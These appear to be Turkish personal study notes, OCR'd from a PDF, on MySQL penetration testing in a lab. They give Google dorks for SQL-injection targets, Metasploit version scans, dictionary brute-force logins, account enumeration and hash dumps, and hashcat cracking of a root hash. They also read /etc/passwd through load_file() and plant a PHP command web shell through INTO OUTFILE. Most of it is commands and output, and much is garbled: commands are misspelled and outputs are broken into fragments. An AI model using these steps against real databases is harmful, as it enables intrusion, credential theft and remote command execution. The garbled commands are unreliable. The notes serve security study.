ON BILGI

Bu belgenin resmi adresi bulunamamistir. Alternatif adreste yedeklenmistir. Bu belge

e https://www.includekarabuk.com/kitaplik/indirmeDeposu/
Siber_Guvenlik_Teknik_Makaleler/Teori/BaskalarinaAitMakaleler/MySQL%20S
%C4%B1zma%20Testi.pdf

adresindeki makaleye calisilarak elde edilen notlarimi kapsamaktadir. Bu ¢ikarilan notlar
belgemde alintilar ve/veya kisisel ilavelerim mevcuttur.



1)
Asagida sql injection saldirisi yapilabilecek url’leri arayan dork’lardan birkagini gérmektesiniz:
e inurl:index.php?id=
e inurl:gallery.php?id=
« inurl:post.php?id=
e inurl:article?id=
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2)

Bu yazida www.webscantest.com’un veritabanina sizma testi yapilacaktir.

¥ Google C (W) Test Site X —
€« [, ¢ www.webscantest.com B o =
5 Apps [N Akademik Bilisim [l Metasploit Yol Harit.. [ Hozeyfe ONAL

Web Scanner Test Site

This site 1z setup to test automated Web Application scanners like
You can view a sample report at hittp://www. webscantest.com/report

DB tests

CSRF tests:

CORS tests:

Basic tests

Pick a category




3)
Metasploit ile Hedef MySQL'’in Versiyonunu Ogrenme
(!) Denendi, basarili olunamadi.
Console:
msf > use auxiliary/scanner/mysqgl/mysql_version
msf auxiliary(mysqgl_version) > set RHOSTS 172.16.212.133

msf auxiliary(mysql_version) > run

Output:
[*1172.16.212.133 is running MySQL 5.0.51a-3ubuntu5 (protocol 10)
[*] Scanned 1 of 1 hosts (100% completed)

[*] Auxiliary module execution completed

NOT: set RHOSTS kismina 192.168.0.17/dvwa seklinde dizinli link girince auxiliary hata veriyor
ve ¢alismiyor. 192.168.0.17 deyince de hata vermiyor, fakat yukarida goériinen mysql'li bildirim
satiri gérinmiyor. Sadece bu géruniyor.

[*] Scanned 1 of 1 hosts (100% completed)
[*] Auxiliary module execution completed

Sorun bence MySQL server'inin olmayisindan kaynaklaniyor. Yani basli basina bir MySQL
server'l ve IP'si olursa bu auxiliary galisir diye dusunuyorum. Nitekim pdfte basarili olunmus.
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4)
Metasploit ile Hedef MySQL'in Versiyonunu Ogrenme - 2
(+) Birebir Ubuntu 18.04 LTS ana makinada kurulu mysqgl sunucusuna denendi ve basarildi.

Yerel sistemdeki mysgl sunucusuna yerel sistemdeki kali linux sanal makinasindan versiyon
tespit etme islemi uygulanmistir.

Kali Linux 2021.2 Terminal:
> service postgresql start
> msfconsole

msf > use auxiliary/scanner/mysqgl/mysqgl_version



msf auxiliary(mysqgl_version) > set RHOSTS 192.168.0.15
msf auxiliary(mysqgl_version) > run
Cikti:

192.168.0.15:3306 - 192.168.0.15:3306 is running MySQL 5.7.38-0ubuntu0.18.04.1
(protocol 10)

[*] 192.168.0.15:3306 - Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

5)
Metasploit ile MySQL'e Sozlik Saldirisi Yapma
() Denenemedi bile...
Console:
msf > use auxiliary/scanner/mysqgl/mysqgl_login
msf auxiliary(mysqgl_login) > set RHOSTS 172.16.212.133
msf auxiliary(mysql_login) > set USER_FILE /root/Desktop/usernames.lIst

msf auxiliary(mysqgl_login) > set PASS_FILE /root/Desktop/password.Ist

msf auxiliary(mysql_login) > run

Yesil satirlardan gorilebilecegi Uzere guest ve root kullanici adlariyla bos sifre denenmis ve
basaril bir sekilde oturum acilabilmis.
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6)
Metasploit ile MySQL'e Sozlik Saldirisi Yapma - 2
(+) Birebir Ubuntu 14.04 LTS ana makinada kurulu mysqgl sunucusuna denendi ve basarildi.

Gereksinimler

DVWA ve WebGoat ( Ubuntu 14.04 LTS ) VM /l MySQL Sunucusu
Kali Linux 2021.2 VM /I Msfconsole Mysql_login
Not:

DVWA ve WebGoat (Ubuntu 14.04 LTS) VM’de mysgl sunucusu disaridan gelen erisim
taleplerine acik hale getirilmelidir. Aksi takdirde disaridan erisim saglanamaz ve kali
makineden ulasilamaz. Bunun icin DVWA ve WebGoat (Ubuntu 14.04 LTS) VM'de su
adimlar takip edilmelidir:

Ubuntu 14.04 LTS Terminal:
> sudo su // username: user, password: password
> nano /etc/mysqgl/my.cnf
( bind-address = 127.0.0.1 satiri bulunmalidir
ve Onlne # isareti konarak yorum satir1 yapil-
malidir )
> mysq| -u root -p Il password: password

mysql> GRANT ALL PRIVILEGES ON *.* TO 'root@'%' IDENTIFIED BY
‘password' WITH GRANT OPTION;

mysql> FLUSH PRIVILEGES;
mysql> exit;
> service mysq| restart

Ayrintili bilgi igin bkz. Yaz Tatili 2014 / Ubuntu 18.04 LTS / Ubuntu 18.04 LTS'de MySQL
Uzaktan Erisim A¢gma

Hedef mysq| veritabani sunucusuna metasploit mysqgl_login modilini uygulamak icin Kali
linux’da msfconsole baglatilir ve moduil ayarlanarak saldiri baslatilir.

Kali Linux 2021.2 Terminal:
msf > use auxiliary/scanner/mysqgl/mysqgl_login
msf auxiliary(mysqgl_login) > set RHOSTS 192.168.0.30

msf auxiliary(mysql_login) > set USER_FILE
/usr/share/wordlist/metasploit/unix_users.txt



msf auxiliary(mysql_login) > set PASS_FILE
lusr/share/wordlist/metasploit/unix_passwords.txt

msf auxiliary(mysqgl_login) > set BRUTEFORCE_SPEED 1

// 0’'dan 5’e kadar deger girilebiliyor. Eger hizli yapilirsa

/Il mysql sunucusu ip bloklama yapiyor ve bir daha login

// denemesi yapilamiyor. Bloklanildiginda blogu kaldirmak
Il icin mysql sunucusunda (dvwa ve webgoat ubuntu 14.04
Il lts vm’de) su komutun galistiriimasi gerekiyor:

> mysgladmin -u root -ppassword flush-hosts

// Bu sayede yeniden uzak makinadan login denemeleri
I/ yapilabiliyor.

/I Not: Bazen bloklama oldugunda modiil “unsupported
/I target version” hatasi veriyor, fakat bloklama hedef
/I mysgl sunucuda temizlendiginde modiil calismaya

I/l baslayabiliyor.

msf auxiliary(mysql_login) > set STOP_ON_SUCCESS true
msf auxiliary(mysqgl_login) > run

Ciktr:
[+] 192.168.0.30:3306 - 192.168.0.30:3306 - Found remote MySQL version 5.5.55
['] 192.168.0.30:3306 - No active DB -- Credential data will not be saved!

[-] 192.168.0.30:3306 - 192.168.0.30:3306 - LOGIN FAILED: root: (Incorrect: Access denied for user
'root'@'192.168.0.28' (using password: NO))

[-] 192.168.0.30:3306 - 192.168.0.30:3306 - LOGIN FAILED: root:admin (Incorrect: Access denied for user
‘root'@'192.168.0.28' (using password: YES))

[[] 192.168.0.30:3306 - 192.168.0.30:3306 - LOGIN FAILED: root:123456 (Incorrect: Access denied for user
'root'@'192.168.0.28' (using password: YES))

[[] 192.168.0.30:3306 - 192.168.0.30:3306 - LOGIN FAILED: root:12345 (Incorrect: Access denied for user
'root'@'192.168.0.28' (using password: YES))

[-] 192.168.0.30:3306 - 192.168.0.30:3306 - LOGIN FAILED: root:123456789 (Incorrect: Access denied for user
'root'@'192.168.0.28' (using password: YES))

192.168.0.30:3306 - 192.168.0.30:3306 - Success: 'root:password’
[*] 192.168.0.30:3306 - Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

Not:

Modul uzun sure calistiginda (6rn; Ubuntu 18.04 LTS ana makinadaki mysq|
sunucusuna denendiginde ve parola yukaridaki gibi ilk baslarda bulunamadiginda) bir
sure sonra ruby error vermekte ve durmakta. Muhtemelen baska kali versiyonlarinda bu
moddl stabil ¢alisiyordur.



7)
Metasploit ile MySQL Hesaplarini, Yetkilerini ve Sifrelerini Ogrenme
() Denenemedi.

MySQL hesaplarini ve yetkilerini aslinda manuel olarak da 6grenebiliriz. Yani sonugta
yukaridaki madde ile hedef MySQL'e giris yapmamizi saglayan kullanici adi ve sifre bilgisine
sahibiz. Bu bilgilerle konsoldan

Syntax:

mysql -h IPNumber -u username -p password

yukaridaki kodu kullanarak sisteme sizip istedigimiz bilgiye SQL kodlamalariyla erisebiliriz.
Fakat Metasploit bize MySQL hesaplarini 6grenme konusunda otomatize bir ara¢c sunmaktadir.
MySQL hesaplarini 6grenmek icin mysql_enum aracini kullanacagiz.

Console:
msf > use auxiliary/admin/mysqgl/mysgl_enum
msf auxiliary(mysqgl_enum) > set RHOST 172.16.212.133
msf auxiliary(mysqgl_enum) > set USERNAME root

msf auxiliary(mysqgl_enum) > run

Output:



Enumerating A

List of

ord Hash:

IIT DO F'I"i'-.-'i]_-:-.:J.-:- :
-maint Host:

SUPER Privilege:
-maint Host:

Simdi tim MySQL hesaplarinin kullanici adi ve sifresini cekmeye yarayan mysql_hashdump
aracini kullanalim.

Console:
msf > use auxiliary/scanner/mysqgl/mysqgl_hashdump
msf auxiliary(mysql_hashdump) > set USERNAME root
msf auxiliary(mysql_hashdump) > set RHOSTS 172.16.212.133

msf auxiliary(mysql_hashdump) > run

sys-maint

ring

s been saved: /root/. /20120727155237 default 172.16.212.133 mysql,

3, txt
of 1 hosts (100%
y module execution c




Yukaridan gorulebilecegi Uzere kullanici adi ve sifreleri (hash'leri) txt dosyasina kaydedilmistir.
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8)
Metasploit ile MySQL Hesaplarini, Yetkilerini ve Sifrelerini Ogrenme - 2
(+) Birebir Ubuntu 14.04 LTS ana makinada kurulu mysqgl sunucusuna denendi ve basarildi.

Gereksinimler

DVWA ve WebGoat ( Ubuntu 14.04 LTS ) VM /I MySQL Sunucusu
Kali Linux 2021.2 VM Il Msfconsole Mysql_login
Not:

DVWA ve WebGoat (Ubuntu 14.04 LTS) VM’de mysqgl sunucusu disaridan gelen erisim
taleplerine acgik hale getirilmelidir. Aksi takdirde disaridan erisim saglanamaz ve kali
makineden ulasilamaz. Bunun i¢cin DVWA ve WebGoat (Ubuntu 14.04 LTS) VM'de su
adimlar takip edilmelidir:

Ubuntu 14.04 LTS Terminal:
> sudo su // username: user, password: password
> nano /etc/mysql/my.cnf
( bind-address = 127.0.0.1 satiri bulunmalidir
ve dniine # isareti konarak yorum satiri yapil-
malidir )
> mysqgl -u root -p I/ password: password

mysql> GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY
'‘password' WITH GRANT OPTION;

mysql> FLUSH PRIVILEGES;
mysql> exit;
> service mysql restart

Ayrintil bilgi icin bkz. Yaz Tatili 2014 / Ubuntu 18.04 LTS / Ubuntu 18.04 LTS'de MySQL
Uzaktan Erisim A¢gma

Metasploit ile mysql hesaplari dogrultusunda mysql sunucu su sekilde enumerate edilir:



Kali Linux 2021.2 Console:

msf > use auxiliary/admin/mysqgl/mysgl_enum

msf auxiliary(mysgl_enum) > set RHOST 192.168.0.30
msf auxiliary(mysqgl_enum) > set USERNAME root

msf auxiliary(mysqgl_enum) > set PASSWORD password

msf auxiliary(mysqgl_enum) > run

Output:

[*] Running module against 192.168.0.30
[*] 192.168.0.30:3306 - Running MySQL Enumerator...

[*] 192.168.0.30:3306 - Enumerating Parameters

[*] 192.168.0.30:3306 - MySQL Version: 5.5.55-0ubuntu0.14.04.1

[*] 192.168.0.30:3306 - Compiled for the following OS: debian-linux-gnu
[*] 192.168.0.30:3306 - Architecture: x86_64

[*] 192.168.0.30:3306 - Server Hostname: iktestmakinesi

[*] 192.168.0.30:3306 - Data Directory: Ivar/lib/mysql/

[*] 192.168.0.30:3306 - Logging of queries and logins: OFF

[*] 192.168.0.30:3306 - Old Password Hashing Algorithm OFF

[*] 192.168.0.30:3306 - Loading of local files: ON

[*] 192.168.0.30:3306 - Deny logins with old Pre-4.1 Passwords: OFF
[*] 192.168.0.30:3306 - Allow Use of symlinks for Database Files: YES
[*] 192.168.0.30:3306 - Allow Table Merge:

[*] 192.168.0.30:3306 - SSL Connection: DISABLED

[*] 192.168.0.30:3306 - Enumerating Accounts:
[*] 192.168.0.30:3306 - List of Accounts with Password Hashes:

192.168.0.30:3306 - User: root Host: localhost Password Hash:
*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19

192.168.0.30:3306 - User: root Host: ubuntu Password Hash:
*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19

192.168.0.30:3306 - User: root Host: 127.0.0.1 Password Hash:
*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19

192.168.0.30:3306 - User: root Host: ::1 Password Hash:
*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19

192.168.0.30:3306 - User: debian-sys-maint Host: localhost Password Hash:
*56BDC1EBC7573C20D2D7A2A99B70288490B373EB



192.168.0.30:3306 - User: phpmyadmin Host: localhost Password Hash:
*08EB5B797826BF2769DB11EDF61BD0A269F48775

192.168.0.30:3306 - User: root Host: % Password Hash:

*2470C0C06DEE42FD1618BB9900SADCA2EC9D1E19

[*] 192.168.0.30:3306 - The following users have GRANT Privilege:

[*] 192.168.0.30:3306 - User: root Host: localhost

[*] 192.168.0.30:3306 - User: root Host: ubuntu

[*] 192.168.0.30:3306 - User: root Host: 127.0.0.1

[*] 192.168.0.30:3306 - User: root Host: ::1

[*] 192.168.0.30:3306 - User: debian-sys-maint Host: localhost

[*] 192.168.0.30:3306 - User: root Host: %

[*] 192.168.0.30:3306 - The following users have CREATE USER Privilege:

[*] 192.168.0.30:3306 - User: root Host: localhost

[*] 192.168.0.30:3306 - User: root Host: ubuntu

[*] 192.168.0.30:3306 - User: root Host: 127.0.0.1

[*] 192.168.0.30:3306 - User: root Host: ::1

[*] 192.168.0.30:3306 - User: debian-sys-maint Host: localhost

[*] 192.168.0.30:3306 - User: root Host: %

[*] 192.168.0.30:3306 - The following users have RELOAD Privilege:

[*] 192.168.0.30:3306 - User: root Host: localhost

[*] 192.168.0.30:3306 - User: root Host: ubuntu

[*] 192.168.0.30:3306 - User: root Host: 127.0.0.1

[*] 192.168.0.30:3306 - User: root Host: ::1

[*] 192.168.0.30:3306 - User: debian-sys-maint Host: localhost

[*] 192.168.0.30:3306 - User: root Host: %

[*] 192.168.0.30:3306 - The following users have SHUTDOWN Privilege:

[*] 192.168.0.30:3306 - User: root Host: localhost

[*] 192.168.0.30:3306 - User: root Host: ubuntu

[*] 192.168.0.30:3306 - User: root Host: 127.0.0.1

[*] 192.168.0.30:3306 - User: root Host: ::1

[*] 192.168.0.30:3306 - User: debian-sys-maint Host: localhost

[*] 192.168.0.30:3306 - User: root Host: %

[*] 192.168.0.30:3306 - The following users have SUPER Privilege:

[*] 192.168.0.30:3306 - User: root Host: localhost

[*] 192.168.0.30:3306 - User: root Host: ubuntu

[*] 192.168.0.30:3306 - User: root Host: 127.0.0.1

[*] 192.168.0.30:3306 - User: root Host: ::1

[*] 192.168.0.30:3306 - User: debian-sys-maint Host: localhost



[*] 192.168.0.30:3306 - User: root Host: %

[*] 192.168.0.30:3306 - The following users have FILE Privilege:

[*] 192.168.0.30:3306 - User: root Host: localhost

[*] 192.168.0.30:3306 - User: root Host: ubuntu

[*] 192.168.0.30:3306 - User: root Host: 127.0.0.1

[*] 192.168.0.30:3306 - User: root Host: ::1

[*] 192.168.0.30:3306 - User: debian-sys-maint Host: localhost
[*] 192.168.0.30:3306 - User: root Host: %

[*] 192.168.0.30:3306 - The following users have PROCESS Privilege:
[*] 192.168.0.30:3306 - User: root Host: localhost

[*] 192.168.0.30:3306 - User: root Host: ubuntu

[*] 192.168.0.30:3306 - User: root Host: 127.0.0.1

[*] 192.168.0.30:3306 - User: root Host: ::1

[*] 192.168.0.30:3306 - User: debian-sys-maint Host: localhost
[*] 192.168.0.30:3306 - User: root Host: %

[*] 192.168.0.30:3306 - The following accounts have privileges to the mysql database:
[*] 192.168.0.30:3306 - User: root Host: localhost

[*] 192.168.0.30:3306 - User: root Host: ubuntu

[*] 192.168.0.30:3306 - User: root Host: 127.0.0.1

[*] 192.168.0.30:3306 - User: root Host: ::1

[*] 192.168.0.30:3306 - User: debian-sys-maint Host: localhost
[*] 192.168.0.30:3306 - User: root Host: %

[*] 192.168.0.30:3306 - The following accounts are not restricted by source:
[*] 192.168.0.30:3306 - User: root Host: %

[*] Auxiliary module execution completed

Simdi tim MySQL hesaplarinin kullanici adi ve sifresini cekmeye yarayan mysql_hashdump
aracini kullanahm.

Kali Linux 2021.2 Console:

msf > use auxiliary/scanner/mysqgl/mysqgl_hashdump

msf auxiliary(mysqgl_hashdump) > set USERNAME root

msf auxiliary(mysgl_hashdump) > set PASSWORD password
msf auxiliary(mysqgl_hashdump) > set RHOSTS 192.168.0.30



msf auxiliary(mysqgl_hashdump) > run

Output:

[+] 192.168.0.30:3306 - Saving HashString as Loot:
[+] 192.168.0.30:3306 - Saving HashString as Loot:
[+] 192.168.0.30:3306 - Saving HashString as Loot:
[+] 192.168.0.30:3306 - Saving HashString as Loot:

[+] 192.168.0.30:3306 - Saving HashString as Loot:

maint:*56 BDC1EBC7573C20D2D7A2A99B70288490B373EB

[+] 192.168.0.30:3306 - Saving HashString as Loot:

root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19

debian-sys-

phpmyadmin:*08EB5B797826BF2769DB11EDF61BD0A269F48775

[+] 192.168.0.30:3306 - Saving HashString as Loot:

root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19

[*] 192.168.0.30:3306 - Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

9)
Hashcat ile MySQL Hesap Hash'ini Kirma

(+) Birebir Ubuntu 14.04 LTS ana makinada kurulu mysgl sunucusuna denendi ve basarildi

Gereksinimler

DVWA ve WebGoat ( Ubuntu 14.04 LTS ) VM /I MySQL Sunucusu

Kali Linux 2021.2 VM
Not:

DVWA ve WebGoat (Ubuntu 14.04 LTS) VM’de mysqgl sunucusu disaridan gelen erisim

/I Msfconsole Mysql_login

taleplerine acgik hale getirilmelidir. Aksi takdirde disaridan erisim saglanamaz ve kali
makineden ulasilamaz. Bunun i¢cin DVWA ve WebGoat (Ubuntu 14.04 LTS) VM'de su

adimlar takip edilmelidir:
Ubuntu 14.04 LTS Terminal:
> sudo su

> nano /etc/mysql/my.cnf

/I username: user, password: password

( bind-address = 127.0.0.1 satiri bulunmalidir

ve dniine # isareti konarak yorum satiri yapil-

malidir )

> mysqgl -u root -p

I/ password: password



mysql> GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY
'‘password' WITH GRANT OPTION;

mysql> FLUSH PRIVILEGES;
mysql> exit;
> service mysq| restart

Ayrintil bilgi icin bkz. Yaz Tatili 2014 / Ubuntu 18.04 LTS / Ubuntu 18.04 LTS'de MySQL
Uzaktan Erisim Acma

8. maddede mysql enumeration ile ele gecirdigimiz mysql root parola 6zeti su sekildeydi:

*2470C0OCO6DEE42FD1618BB99005ADCA2ECIOD1EL9

Bu parolay! kirabilmek icin hashcat'ten yararlanabiliriz:

Kali Linux Console:

> hashcat --help | grep MySQL

Output:
200 = MySQL
300 = MySQL4.1/MySQL5

Goruldugu tzere kullanabilecegimiz iki alternatif vardir. Eger birincisi ise yaramazsa ikincisini
kullanin. Boylece parolay! kirmis olacaksiniz:

['] Uyart:

Orijinal mysql hash’indeki en basta yer alan * karakteri kaldiriimalidir. Ayrintili bilgi igin
bkz. Yaz Tatili 2014 / Hashcat Kurulumu ve Kullanimi.docx # Hashcat Hatalar # a)
“Token length exception - No Hashes Loaded”

Kali Linux Console:
> hashcat -m 200 -a 0 mysql_hash.txt rockyou.txt
> hashcat -m 300 -a 0 mysqgl_hash.txt rockyou.txt



Output:

Initializing hashcat v2.00 with 8 threads and 32mb segment-size...
Added hashes from file ../Desktop/mysql_hash.txt: 1 (1 salts)
Activating quick-digest mode for single-hash

2470c0c06dee42fd1618bbh99005adca2ec9dlel9:password

All hashes have been recovered

Input.Mode: Dict (../rockyou.txt)

Index.....: 1/5 (segment), 3627098 (words), 33550345 (bytes)
Recovered.: 1/1 hashes, 1/1 salts

Speed/sec.: - plains, 3.79M words

Progress..: 3173719/3627098 (87.50%)

Running...: --:--:--:--

Estimated.; --;--;--:--

Started: Sun Jun 5 12:52:56 2022
Stopped: Sun Jun 5 12:52:57 2022

10)

5.maddedeki s6zluk saldirisi ile elde edilen login bilgilerini kullanarak 8. maddede Metasploit'in
mysql hash’lerini otomatik alisini manuel olarak yapalim. Asagidaki komutu Ubuntu terminaline
girebilirsin.

Console:

> mysql -h 172.16.212.133 -u root -p

Output:



Enter password:

Welcome to the MySQL monitor. Commands end with
Your MySQL connection 1d is 866

Server version: 5.0.5la-3ubuntu5 (Ubuntu)

Copyright (c) 2000, 2011, Oracle and/or 1ts affiliates.

Oracle 1s a registered trademark of Oracle Corporation
affiliates. Other names may be trademarks of their
owners.

Type 'help;' or '‘\h' for help. Type '\c' to clear the

mysql> i

All rights reserved.

and/or 1ts

current 1nput statement.

Bdylece veritabanina baglanmis bulunmaktayiz. MySQL'in show command; syntax'l

komutlanyla ilk olarak yukli veritabanlarinin isimlerini 6grenelim.

Console:
mysqgl > show databases;

Output:

Simdi mysql adli veritabanini use komutu ile segelim ve bu veritabanindaki tablolari show

tables; komutu ile gorintuleyelim.

Console:
mysqgl > use mysq|

mysqgl > show tables;



Output:

lumn names
1th -A

time
ti

user adli tabloyu secelim ve bu tablonun icerdigi veriyi ekrana basalim.

Console:

mysqgl > SELECT User, Password FROM user;

Output:

d from user;

fafi e

Password kolonu bos ¢ikti, ¢clinki sézluk saldinsinda da bahsettigimiz gibi root ve guest
kullanicilarinin sifreleri bosluktur. Oyle ayarlanmis.
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11)
(+) Birebir Ubuntu 14.04 LTS ana makinada kurulu mysgl sunucusuna denendi ve basarildi.

Gereksinimler

DVWA ve WebGoat ( Ubuntu 14.04 LTS ) VM /l MySQL Sunucusu
Kali Linux 2021.2 VM I/ Msfconsole Mysql_login
Not:

DVWA ve WebGoat (Ubuntu 14.04 LTS) VM’de mysgl sunucusu disaridan gelen erisim
taleplerine acik hale getirilmelidir. Aksi takdirde disaridan erisim saglanamaz ve kali
makineden ulasilamaz. Bunun icin DVWA ve WebGoat (Ubuntu 14.04 LTS) VM'de su
adimlar takip edilmelidir:

Ubuntu 14.04 LTS Terminal:
> sudo su // username: user, password: password
> nano /etc/mysqgl/my.cnf
(' bind-address = 127.0.0.1 satiri bulunmalidir
ve dniine # isareti konarak yorum satiri yapil-
malidir )
> mysql -u root -p Il password: password

mysql> GRANT ALL PRIVILEGES ON *.* TO 'root@'%' IDENTIFIED BY
'‘password' WITH GRANT OPTION;

mysql> FLUSH PRIVILEGES;
mysql> exit;
> service mysql restart

Ayrintil bilgi icin bkz. Yaz Tatili 2014 / Ubuntu 18.04 LTS / Ubuntu 18.04 LTS'de MySQL
Uzaktan Erisim Agma

5.maddedeki s6zluk saldirisi ile elde edilen login bilgilerini kullanarak simdi 8. maddedeki
Metasploit'in mysgl hash’lerini otomatik alisini manuel olarak yapalim. Asagidaki komutu Kali
Linux terminaline girebilirsin.

Console:

> mysql -h 192.168.0.30 -u root -p // Parola : password



Output:

L% mysql ro 192.168.0.30

Enter password:

Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 136

Server version: 5.5.55-@ubuntu®.14.04.1 (Ubuntu)

Copyright (c) 2eee, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c’' to clear the current input statement.

MysqL [(none)]l> |}

Bdylece veritabanina baglanmis bulunmaktayiz. MySQL'in show command; syntax'li
komutlariyla ilk olarak yuklu veritabanlarinin isimlerini 6grenelim.

Console:
mysgl > show databases;
Output:
MysSQL [(none)]> show da
Database

information_schema

dvwa

mysgl
performance_schema
phpmyadmin
secondordersqlinjection

—_— e —

o —— e —

rows in set (0.826 sec)

Simdi mysql adl veritabanini use komutu ile secelim ve bu veritabanindaki tablolari show
tables; komutu ile géruntuleyelim.

Console:
mysqgl > use mysq|

mysqgl > show tables;



Output:

MysSQL [mysql]; show tabl

+
!
+
|
|
|
!
|
|
|
!
|
|
!
|
|
|
!
|
|
!
|
|
|
!
|
!
+

Tables_in_mysql

columns_priv

help_

host
ndb_binlog_index
plugin

p

p
p

slow_log

time_zone_transition_type

USE

24 rows in set (0.002 sec)

user adli tabloyu secelim ve bu tablonun icerdigi veriyi ekrana basalim.

Console:

mysqgl > SELECT User, Password FROM user;

Output:

+

!
.
|
|
!
!
!
!
!
+
7

User

root
root
root
root

debian-sys-maint

phpmyadmin
root

rows in set (9.00

from user;

FD1618BB99¢ ECO9D1E19
! ECOD1E19
ECO9D1E19

9F48775

EC9D1E19

Password kolonunda hash’ler bu sekilde manuel alinabilirler.

———  — &




12)
Load FILE() ve INTO OUTFILE() Fonksiyonlari

Load_FILE() fonksiyonu argliman olarak aldigi dosyanin igcerigini dondirmeye yarar. INTO
OUTFILE() fonksiyonu ise Select sorgusundan dénen kaydin (satirin) argiman olarak aldig!
dosya isminde bir dosyaya yazilmasini saglar. Bunlari test etmek igin asagidaki komutla mysql'e
terminalden baglan.

> mysql -h 127.0.0.1 -u root -p

Enter'ladiktan sonra sifreni gir. Boylece mysqgl'e baglanmis olursun. Ardindan sirasiyla
yukaridaki fonksiyonlari asagidaki gibi dene:

Console:
> Select load_file('/etc/passwd?;
Output:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
20bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/bin/sh

Goruldugu gibi passwd dosyasinin icerigi ekrana basildi. Simdi diger fonksiyonla shell
yukliyelim:

Console:

> Select “<?php system($_REQUEST['cmd?); ?>" INTO OUTFILE "/var/www/ajan.php" --;
Output:

Query OK, 1 row affected (0.01 sec)

Boylece ajan.php adli shell dosyasi /var/www/ dizininde olusturulmustur. Dilersen o dizine bakabilirsin.

(Page 20-21)



13)
Load_FILE() ve INTO OUTFILE() Fonksiyonlari - 2
(+) Birebir Ubuntu 14.04 LTS ana makinada kurulu mysqgl sunucusuna denendi ve basarildi.

Gereksinimler

DVWA ve WebGoat ( Ubuntu 14.04 LTS ) VM /l MySQL Sunucusu
Kali Linux 2021.2 VM /I Msfconsole Mysql_login
Not:

DVWA ve WebGoat (Ubuntu 14.04 LTS) VM’de mysgl sunucusu disaridan gelen erisim
taleplerine acik hale getirilmelidir. Aksi takdirde disaridan erisim saglanamaz ve kali
makineden ulasilamaz. Bunun icin DVWA ve WebGoat (Ubuntu 14.04 LTS) VM'de su
adimlar takip edilmelidir:

Ubuntu 14.04 LTS Terminal:
> sudo su // username: user, password: password
> nano /etc/mysqgl/my.cnf
( bind-address = 127.0.0.1 satiri bulunmalidir
ve Onlne # isareti konarak yorum satir1 yapil-
malidir )
> mysq| -u root -p Il password: password

mysql> GRANT ALL PRIVILEGES ON *.* TO 'root@'%' IDENTIFIED BY
‘password' WITH GRANT OPTION;

mysql> FLUSH PRIVILEGES;
mysql> exit;
> service mysq| restart

Ayrintili bilgi icin bkz. Yaz Tatili 2014 / Ubuntu 18.04 LTS / Ubuntu 18.04 LTS'de MySQL
Uzaktan Erisim Agcma

Load_FILE() fonksiyonu argliman olarak aldigi dosyanin icerigini dondirmeye yarar. INTO
OUTFILE() fonksiyonu ise Select sorgusundan dénen kaydin (satirin) argiiman olarak aldigi
dosya isminde bir dosyaya yazilmasini saglar. Bunlari test etmek igin asagidaki komutla mysql'e
terminalden baglan.

Kali Linux Console:

> mysql -h 192.168.0.30 -u root -p



Output:

Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 136

Server version: 5.5.55-8ubuntu®.14.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type "help;' or '\h' for help. Type '\c' to clear the current input statement.

Enter'ladiktan sonra sifreni gir. Boylece mysql'e baglanmis olursun. Ardindan sirasiyla yukaridaki
fonksiyonlari asagidaki gibi dene:

Kali Linux Console:

mysql> Select load_file('/etc/passwd’);

Output:

Jusr/sbin/nol
/bin:/bin/

mw v T a—

sr/sbin/nol
fusr/sbin/nol
usr/sbin/nologi
1sr/sbin/nol

fusr/sbin/nologi
usr/sbin/nol

/sbin/nologin
/usr/sbin/no
/usr/sbin/nolog

ist:/usr/sbin/nologin

r/sbin/nologin

ogin




Goruldugu gibi passwd dosyasinin icerigi ekrana basildi. Simdi diger fonksiyonla shell
yukliyelim:

Kali Linux Console:
mysql> Select “<?php system($_REQUEST['cmd']); ?>" INTO OUTFILE "/var/www/ajan.php";
Output:

MysaL [(none)]> Select "<?php system($_REQUEST['cmd']); ?>" INTO OUTFILE "/var/ww/ajan.php”;

Query OK, 1 row affected (0.082 sec)

Boylece ajan.php adli shell dosyasi /var/www/ dizininde olusturulmustur.
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